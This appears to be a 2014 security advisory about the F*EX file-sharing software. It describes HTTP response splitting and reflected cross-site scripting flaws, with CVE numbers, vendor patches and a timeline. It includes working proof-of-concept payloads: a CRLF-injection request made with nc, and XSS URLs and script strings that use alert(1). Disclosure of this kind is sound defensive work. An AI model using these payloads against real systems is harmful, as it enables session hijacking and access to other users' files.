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Message-ID: <538D6B77.9040908@lsexperts.de>
Date: Tue, 03 Jun 2014 08:30:15 +0200
From: advisories <advisories@...xperts.de>
To: bugtraq@...urityfocus.com, oss-security@...ts.openwall.com,
submissions@...ketstormsecurity.org, fulldisclosure@...lists.org,
bugs@...uritytracker.com
Subject: LSE Leading Security Experts GmbH - LSE-2014-05-22 - F*EX - Multiple
Issues
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=== LSE Leading Security Experts GmbH - Security Advisory 2014-05-22 ===
F*EX (Frams' Fast File EXchange) - Multiple Issues
- - ---------------------------------------------------------------------
Affected Versions
=================
F*EX (Frams' Fast File EXchange) 20140313-1 as shipped with debian,
version fex-20140530 and later are not affected.
Issue Overview
==============
Technical Risk: medium
Likelihood of Exploitation: high
Vendor: Universität Stuttgart
Vendor URL: http://fex.rus.uni-stuttgart.de/
Credits: LSE Leading Security Experts GmbH employee Eric Sesterhenn
Advisory URL: https://www.lsexperts.de/advisories/lse-2014-05-22.txt
Advisory Status: Public
CVE-Number: CVE-2014-3875, CVE-2014-3876, CVE-2014-3877
Impact
======
It is possible to attack user sessions and to execute JavaScript in
another users browser. This might enable an attacker to gain access to files
which are intended for other users of the platform.
Issue Description
=================
While conducting an internal evaluation of the software, LSE Leading
Security Experts GmbH discovered multiple, remotely exploitable issues with
F*EX.
1) HTTP Response splitting in rup
CVE-Number: CVE-2014-3875
When inserting encoded newline characters into a request to rup, additional
HTTP headers can be injected into the reply, as well as new HTML code on the
top of the website.
- ----------------8<-------------
$ nc 127.0.0.1 8888
GET /rup?akey=test%0d%0a%0d%0aHELLO HTTP/1.0
HTTP/1.1 200 OK
X-Message: OK
Server: fexsrv
Expires: 0
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Set-Cookie: akey=test
HELLO; Max-Age=9999; Discard
Content-Type: text/html; charset=UTF-8
<html>
<head>
...
- ----------------8<-------------
The same attack is possible using a POST request.
2) Cross-Site-Scripting issue in rup
CVE-Number: CVE-2014-3876
The parameter akey is reflected unfiltered as part of the HTML page. Some
characters are forbidden in the GET parameter due to filtering of the
URL, but this can be circumvented by using a POST parameter.
Nevertheless, this issue is exploitable via the GET parameter alone,
with some user interaction.
Opening the following URL opens a popup window, when the cursor
moves over the back link on the bottom of the page:
http://127.0.0.1:8888/rup?akey=foo" onmouseover=alert(1) bar="
- ----------------8<-------------
<p>
<a href="/foc?akey=wow" onmouseover=alert(1) foo="">back to F*EX
operation control</a>
</body></html>
- ----------------8<-------------
3) Cross-Site-Scripting issue in fup
CVE-Number: CVE-2014-3877
The parameter addto is reflected only slightly filtered back to
the user as part of the HTML page. Some characters are forbidden in the GET
parameter due to filtering of the URL, but this can be circumvented by
using a POST parameter. Nevertheless, this issue is exploitable via the GET
parameter alone, with some user interaction.
Opening the following URL opens a popup window, when the cursor
moves over the recipient entry field:
http://127.0.0.1:8888/fup?addto=%22onmouseover=alert%281%29;bar=%22
- ----------------8<-------------
<tr title="e-mail address or alias"><td>recipient(s):
<td><input type="text" name="to" size="96"
value=""onmouseover=alert(1);bar=""><br>
</tr>
- ----------------8<-------------
4) Cross-Site-Scripting issue in fuc
CVE-Number: CVE-2014-3876
The POST parameter disclaimer is reflected back to the user as part of the
HTML page.
Setting the disclaimer POST parameter in the change disclaimer
operation (http://127.0.0.1:8888/fuc?
disclaimer=CHANGE&akey=2409d2a55e5acfa407929fb10cb8335f) to the
following value
- ----------------8<-------------
'"><script>alert(1)</script>
- ----------------8<-------------
will results in the following HTML code, which opens a popup window:
- ----------------8<-------------
<pre>
'"><script>alert(1)</script>
</pre>
<p>
- ----------------8<-------------
An additional attack is possible using the gm POST parameter, by setting
it to malicious HTML code and supplying a GET parameter group.
It looks like other values might be affected as well, since
only limited filtering is performed in the CGI parameter
evaluation.
Temporary Workaround and Fix
============================
LSE Leading Security Experts GmbH advises to deactivate F*EX until the
vendor
publishes a complete fix. LSE Leading Security Experts GmbH recommends to
implement proper filtering mechanisms for all parameters and the
implementation
of proper output encoding before reflecting values back to the user.
1) HTTP Response splitting in rup
- --- rup.orig 2014-05-23 08:50:01.558808000 +0200
+++ rup 2014-05-23 08:55:03.182808000 +0200
@@ -35,6 +35,7 @@ foreach my $v (param) {
$vv =~ s/[<>]//g;
if ($v =~ /^akey$/i) {
$vv =~ s:[/.]::g;
+ $vv =~ s/[\W]//g;
$akey = untaint($vv);
} elsif ($v =~ /^(from|user)$/i) {
$from = normalize_address($vv);
2) Cross-Site-Scripting issue in rup
The patch from 1) is sufficient to fix this issue as well.
3) Cross-Site-Scripting issue in fup
- --- fup.orig 2014-05-23 09:26:12.514808000 +0200
+++ fup 2014-05-23 09:26:53.794808000 +0200
@@ -2551,7 +2551,7 @@ sub setparam {
$replyto = untaint($replyto);
} elsif ($v eq 'ADDTO') {
$vv =~ s/\s.*//;
- - $vv =~ s/[<>]//g;
+ $vv =~ s/[<>"']//g;
$addto = untaint(lc($vv)); # if checkaddress($vv);
} elsif ($v eq 'SUBMIT') {
$submit = $vv;
4) Cross-Site-Scripting issue in fuc
No workaround from LSE. All parameters need to be filtered properly
and HTML encoded when reflected back to the user.
History
=======
2014-05-22 Issue discovered
2014-05-23 Issue reported
2014-05-23 Vendor reply
2014-05-26 Internal test version supplied by vendor
2014-05-26 Vendor releases a patch
2014-05-30 CVE-Numbers assigned
2014-06-03 Advisory released
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